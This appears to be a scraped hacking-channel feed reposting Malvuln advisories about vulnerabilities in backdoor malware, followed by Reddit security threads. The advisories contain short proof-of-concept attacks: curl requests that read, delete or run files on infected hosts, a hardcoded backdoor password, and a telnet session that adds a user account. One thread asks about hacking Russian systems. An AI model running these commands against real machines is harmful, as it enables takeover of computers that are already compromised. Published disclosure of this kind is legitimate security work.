Hacking Articles Tips Tricks Videos Tutorials

Backdoor.Win32.FTP.Nuclear.10 Hardcoded Credential

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 18:16

8 views18:16

Exploit Collector
Backdoor.Win32.DirectConnection.103 Weak Hardcoded Password

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Backdoor.Win32.DirectConnection.103 malware suffers from a weak hardcoded password vulnerability.

MD5 | 1a129c9cb8c99f3d36acd62666a0cb8d

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/6a6ce3e7f24bf000d9a011a8f1905da8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DirectConnection.103 (1.0 RAT-Tool)
Vulnerability: Weak Hardcoded Password
Description: The malware listens on random incrementing high TCP ports 49701,49702 etc. When updating the backdoor the output files password "1234!" is weak and hardcoded in cleartext within the PE file.
Family: DirectConnection
Type: PE32
MD5: 6a6ce3e7f24bf000d9a011a8f1905da8
Vuln ID: MVID-2022-0508
Dropped files: update.exe
Disclosure: 03/03/2022 

Exploit/PoC:
'C:/update.exe',0 

CODE:00498094 aTheNewServerOn db 'The new Server on the PC you will update uses Port 1600 and Passw'
CODE:00498094                                         ; DATA XREF: CODE:00497F04↑o
CODE:00498094                 db 'ord 1234!',0 <==========
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.DirectConnection.103 Weak Hardcoded Password

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 18:16

6 views18:16

Exploit Collector
Backdoor.Win32.BluanWeb Information Disclosure

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
Backdoor.Win32.BluanWeb malware suffers from an information leakage vulnerability.

MD5 | d30bea5a4feb4c5c09745de751daadc3

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Information Disclosure
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML links to delete or run programs listed in its directories. Third-party attackers who can reach an infected host can make HTTP GET request downloading any files on the system.

[固定磁盘C]
卷标名：
文件名长度 255
文件系统 NTFS
磁盘大小 3625.000000 MB
剩余空间 3284.000000 MB
[光盘D]

[Fixed Disk C]
Volume label name
Filename length 255
File system NTFS
Disk size 3625.000000 MB
Free space 3284.000000 MB
[Disc D]

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0505
Disclosure: 03/03/2022

Exploit/PoC:
curl http://x.x.x.x/fold_C:/Windows/ --output infected_host_info.txt
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 15477    0 15477    0     0  15477      0 --:--:-- --:--:-- --:--:--  243k
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.BluanWeb Information Disclosure

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:16

Exploit Collector
Backdoor.Win32.BluanWeb Remote Code Execution

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Backdoor.Win32.BluanWeb malware suffers from an unauthenticated remote code execution vulnerability.

MD5 | f62cdcd1d10f8510c404a525e12f639c

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML links to delete or run programs.

E.g.

[$Recycle.Bin]
[Boot]
bootmgr   [删除]  [运行]
BOOTNXT   [删除]  [运行]
BOOTSECT.BAK   [删除]  [运行]
[Documents and Settings]
[dump]
pagefile.sys   [删除]  [运行]
[PerfLogs]
[Program Files]
[Program Files (x86)]
[ProgramData]
[Recovery]
swapfile.sys   [删除]  [运行]
[System Volume Information]
[Users]
[Windows]

Translated from Chinese:

bootmgr [delete] [run]
BOOTNXT [delete] [run]
BOOTSECT.BAK [delete] [run]
[Documents and Settings]
[dump]
pagefile.sys [delete] [run]
[PerfLogs]
[Program Files]
[Program Files (x86)]
[ProgramData]
[Recovery]
swapfile.sys [delete] [run]

The HREF is like "run_EXECUTABLE". Third-party attackers who can reach infected hosts can make HTTP GET request appending any executable name.

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0504
Disclosure: 03/03/2022
Exploit/PoC:
curl http://x.x.x.x/run_3rd_party_malware
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.BluanWeb Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:16

5 views18:16

5 views18:16

Exploit Collector
pfSense 2.5.2 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

pfSense 2.5.2 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:16

5 views18:16

Exploit Collector
Backdoor.Win32.RemoteNC.beta4 Remote Command Execution

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Backdoor.Win32.RemoteNC.beta4 malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | cb83cd130c3224c49aa56f13dd6c99a0

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/2862de561d91eedb265df4ae9b0fc872.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RemoteNC.beta4
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 49941. Third-party attackers who can reach an infected host can execute any OS commands hijacking taking over the system.
Family: RemoteNC
Type: PE32
MD5: 2862de561d91eedb265df4ae9b0fc872
Vuln ID: MVID-2022-0507 
Disclosure: 03/03/2022

Exploit/PoC:
c:\>telnet.exe x.x.x.x 49941

===============Meteor Soft Labs. 1995-2001 All Rights Reserved.===============
=========Written by AssHoles, Server Edition ilovecandy@21cn.com==============
Microsoft Windows [Version 10.0.16299.309]
Slackbot:wwhhooaammii
desktop-2c3iqho\victim
Slackbot:ccaallcc
Slackbot:nneett  uusseerr  hhyypp33rrlliinnxx  666666  //aadddd
The command completed successfully.
Slackbot:nneett  uusseerr
User accounts for \\DESKTOP-2C3IQHO
-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
hyp3rlinx                Victim                   WDAGUtilityAccount
The command completed successfully.
Slackbot:
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.RemoteNC.beta4 Remote Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:16

Exploit Collector
Backdoor.Win32.BluanWeb Remote Command Execution

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Backdoor.Win32.BluanWeb malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 40bcaa31941efa6af820e0c7cec9b0d1

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor.

[固定磁盘C]
卷标名：
文件名长度 255
文件系统  NTFS
磁盘大小 3625.000000 MB
剩余空间 3284.000000 MB
[光盘D]

[Fixed Disk C]
Volume label name
Filename length  255
File system  NTFS
Disk size  3625.000000 MB
Free space  3284.000000 MB
[Disc D]

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0506
Disclosure: 03/03/2022

Exploit/PoC:
1) delete any file
http://x.x.x.x/unlink_C:/Boot/BCD.LOG

2) DOS backdoor
curl http://x.x.x.x/exit

3) sign out the victim machine
curl http://x.x.x.x/logoff

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.BluanWeb Remote Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 18:16

Dark Reading: Attacks/Breaches
DORA's Global Reach and Why Enterprises Need to Prepare

The new EU regulation is a response to the rise of ransomware attacks and other new cyberthreats that have proliferated in the wake of the global pandemic.

4 views18:23

Source

Netscout has shut down its online services in Russia, including...

hacking: security in practice
Netscout has shut down its online services in Russia, including Arbor's anti-DDoS software.

submitted by /u/Omori412
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/Omori412 • 3 points and 0 comments

5 viewsedited 19:21

From the hacking community on Reddit

hacking: security in practice
Can I get in trouble for hacking Russian websites / systems if I’m in the US

All hypothetical ofc, but just wondering if I risk anything hacking Russian systems as a US citizen.

submitted by /u/ThatAnonMan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Explore this post and more from the hacking community

4 viewsedited 19:21

Can anyone tell me more about NB65?

hacking: security in practice
Can anyone tell me more about NB65?

Looking for any information about the origin of this group. My sense is that it is basically a group of people (or maybe a single person) that basically started as a reaction to the war in Ukraine. I guess my question for you in-the-knowers would be: - Any history for this group prior to early-mid feb? - Are these hacks feasible without significant capital being involved? (Another way of asking if there might be state involvement) - Is it possible that these “hacks” are fake? Huge propaganda value so I think it’s a fair question. - Do we have any read on where these individuals might be located?

Any additional interesting info is definitely welcome. I’m researching this as part of a much larger fictional story.

The possibility of a very covertly state or multi-state sponsored hacking group is a very interesting plot point to me. That’s almost certainly the approach I’d be taking . Any examples of that would also be helpful. Im also interested in how the “hacked” party might be able to realistically identify if a specific hack has state ties. Feel free to speak in full technical lingo, I can do my research.

submitted by /u/PharmADD
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Looking for any information about the origin of this group. My sense is that it is basically a group of people (or maybe a single person) that...

4 viewsedited 19:21

An Interesting Article Concerning History

hacking: security in practice
An Interesting Article Concerning History

An article from Gizmodo about where two from The Inner Circle are doing today.

From The Inner Circle

submitted by /u/infiltrator86
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

[From The Inner...

4 viewsedited 19:21

horsex5? is there such thing?

hacking: security in practice
horsex5? is there such thing?

Is there any tool/software/exploit/script/language or something by that name? supposedly to aide in the linking of emails to accounts of some sites. I say is BS, but well, I may be wrong.

submitted by /u/arana1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Is there any tool/software/exploit/script/language or something by that name? supposedly to aide in the linking of emails to accounts of some...

4 viewsedited 19:21

Threat intelligence reports?

hacking: security in practice
Threat intelligence reports?

Does anyone have a good monthly or weekly threat intelligence report source? Trying to do more threat Intel work

submitted by /u/The_batman1993
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Does anyone have a good monthly or weekly threat intelligence report source? Trying to do more threat Intel work

4 viewsedited 19:21

Python Cybersecurity — Build a Port Scanner

Hacking on Medium
Python Cybersecurity — Build a Port Scanner

https://cdn-images-1.medium.com/max/1280/0*5QqHMUttpVtmuCAU
Learn how to build a simple Python script that can be used to scan for open ports on a network. This tutorial covers the implementation…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Learn how to build a simple Python script that can be used to scan for open ports on a network. This tutorial covers the implementation…

4 viewsedited 20:24